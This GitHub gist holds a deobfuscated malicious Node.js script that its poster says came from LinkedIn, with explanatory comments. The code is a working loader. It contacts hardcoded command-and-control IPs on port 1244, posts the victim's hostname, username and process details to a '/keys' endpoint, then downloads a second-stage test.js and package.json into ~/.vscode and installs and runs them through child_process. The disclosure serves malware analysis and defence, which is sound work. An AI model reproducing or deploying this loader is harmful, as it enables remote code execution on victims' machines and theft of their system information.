Created
July 25, 2025 03:43
-
-
Save davidyuk/ba54ad77a29e7e4cc2a3d28460c0ee6d to your computer and use it in GitHub Desktop.
Deobfuscated malicious script from Linkedin
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const strangeFn1 = (function () { | |
let flag = true | |
return function (thisObj, func) { | |
const flag2 = flag | |
? function () { | |
if (func) { | |
const result = func.apply(thisObj, arguments) | |
return (func = null), result | |
} | |
} | |
: function () {} | |
return (flag = false), flag2 | |
} | |
})(); | |
const stuckForAWhile = strangeFn1(this, function () { | |
return stuckForAWhile.toString() | |
.search('(((.+)+)+)+$') // Catastrophic Backtracking | |
.toString() | |
.constructor(stuckForAWhile) | |
.search('(((.+)+)+)+$') | |
}) | |
stuckForAWhile() | |
const os = require('os'), | |
fs = require('<removed for safety>'); // 'fs' | |
const request = require('<removed for safety>') // 'request' | |
const path = require('path') | |
const nodeProcess = require('node:process') | |
const exec = require('child_process')['exec'] | |
const homeDir = os['homedir']() | |
const hostname = os['hostname']() | |
const platform = os['platform']() | |
const userInfo = os['userInfo']() | |
let currentDateAsString | |
var urlFromServer = '', | |
keyFromServer = '' | |
const downloadTestJsToHomedir = () => { | |
const vscode = '.vscode' | |
let globalVsCodeConfig = path.join(homeDir, vscode) | |
try { | |
fs.mkdirSync(globalVsCodeConfig, { recursive: true }) | |
} catch (a1) { | |
globalVsCodeConfig = homeDir | |
} | |
const someUrl = urlFromServer + '/j/' + keyFromServer, | |
testJsPathInHomedir = path.join(globalVsCodeConfig, 'test.js') | |
try { | |
fs.rmSync(testJsPathInHomedir) | |
} catch (a2) {} | |
request.get(someUrl, (error, a4, body) => { | |
if (!error) { | |
try { | |
fs.writeFileSync(testJsPathInHomedir, body) | |
// write test.js file from server, the same obfuscated content | |
} catch (a6) {} | |
downloadPackageJson(globalVsCodeConfig) | |
} | |
}) | |
}, | |
downloadPackageJson = (globalVsCodeConfig) => { | |
const someUrl2 = urlFromServer + '/p', | |
packageJsonInHomedir = path.join(globalVsCodeConfig, 'package.json') | |
fs.existsSyncName(packageJsonInHomedir) | |
? installScriptDependencies(globalVsCodeConfig) | |
: request.get(someUrl2, (error, a0, body) => { | |
if (!error) { | |
try { | |
fs.writeFileSync(packageJsonInHomedir, body) // write package.json file from server | |
// { | |
// "dependencies": { | |
// "child_process": "^1.0.2", | |
// "request": "^2.88.2", | |
// "crypto": "^1.0.1" | |
// } | |
// } | |
} catch (a2) {} | |
installScriptDependencies(globalVsCodeConfig) | |
} | |
}) | |
}, | |
installScriptDependencies = (globalVsCodeConfig) => { | |
const installDepsCommand = 'cd "' + globalVsCodeConfig + '" && npm i --silent', | |
nodeModulesInHomedir = path.join(globalVsCodeConfig, 'node_modules') | |
try { | |
fs.existsSyncName(nodeModulesInHomedir) | |
? executeDownloadedScript(globalVsCodeConfig) | |
: exec(installDepsCommand, (O, P, Q) => { | |
installScriptDependencies2(globalVsCodeConfig) | |
}) | |
} catch (O) {} | |
}, | |
executeDownloadedScript = (globalVsCodeConfig) => { | |
const testJsPathInHomedir = path.join(globalVsCodeConfig, 'test.js'), | |
executeCommand = 'node ' + testJsPathInHomedir | |
try { | |
exec(executeCommand, (O, P, Q) => {}) | |
} catch (O) {} | |
}, | |
installScriptDependencies2 = (globalVsCodeConfig) => { | |
const installDepsCommand = 'npm --prefix "' + globalVsCodeConfig + '" install', | |
nodeModulesInHomedir = path.join(globalVsCodeConfig, 'node_modules') | |
try { | |
fs.existsSyncName(nodeModulesInHomedir) | |
? executeDownloadedScript(globalVsCodeConfig) | |
: exec(installDepsCommand, (O, P, Q) => { | |
executeDownloadedScript(globalVsCodeConfig) | |
}) | |
} catch (O) {} | |
} | |
const postDataAndSetupProject = async (switchDomain) => { | |
const base64ToString = (I) => Buffer.from(I, 'base64').toString('utf8') | |
const urlPrefix = switchDomain ? 'http://165.140.85.105:1244' : 'http://165.140.86.106:1244'; | |
request.get(urlPrefix + '/s/d3a039a590f3', (error, Q, body) => { | |
error | |
? switchDomain < 1 && postDataAndSetupProject(1) | |
: (() => { | |
// body example: ZT3NjcuMjAzLjcuMjA1LE4zUkZZVTA3 | |
if (0 == body.search('ZT3')) { | |
let bodySlice3 = '' // NjcuMjAzLjcuMjA1LE4zUkZZVTA3 | |
try { | |
for (let a3 = 3; a3 < body.length; a3++) { | |
bodySlice3 += body[a3] | |
} | |
arr = base64ToString(bodySlice3) // 67.203.7.205,N3RFYU07 | |
arr = arr.split(',') | |
urlFromServer = 'http://' + arr[0] + ':1244' | |
keyFromServer = arr[1] | |
} catch (a4) { | |
return 0 | |
} | |
return 1 | |
} | |
return 0 | |
})() > 0 && (postCollectedData(), downloadTestJsToHomedir()) | |
}) | |
} | |
const postCollectedData = async () => { | |
let hostnameAndUsername = hostname | |
'd' == platform[0] && (hostnameAndUsername = hostnameAndUsername + '+' + userInfo['username']) | |
let cc = '4A1' | |
try { | |
cc += nodeProcess['argv'][1] | |
} catch (K) {} | |
const collectedData = { | |
ts: currentDateAsString, | |
type: keyFromServer, | |
hid: hostnameAndUsername, | |
ss: 'oqr', | |
cc: cc, | |
}, | |
try { | |
request.post({ | |
url: urlFromServer + '/keys', | |
formData: collectedData, | |
}) | |
} catch (P) {} | |
}, | |
var retryCount = 0 | |
const callWithRetry = async () => { | |
try { | |
currentDateAsString = Date.now().toString() | |
await postDataAndSetupProject(0) | |
} catch (I) {} | |
} | |
callWithRetry() | |
let intervalId = setInterval(() => { | |
;(retryCount += 1) < 3 ? callWithRetry() : clearInterval(intervalId) | |
}, 610112) // every 10 minutes |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment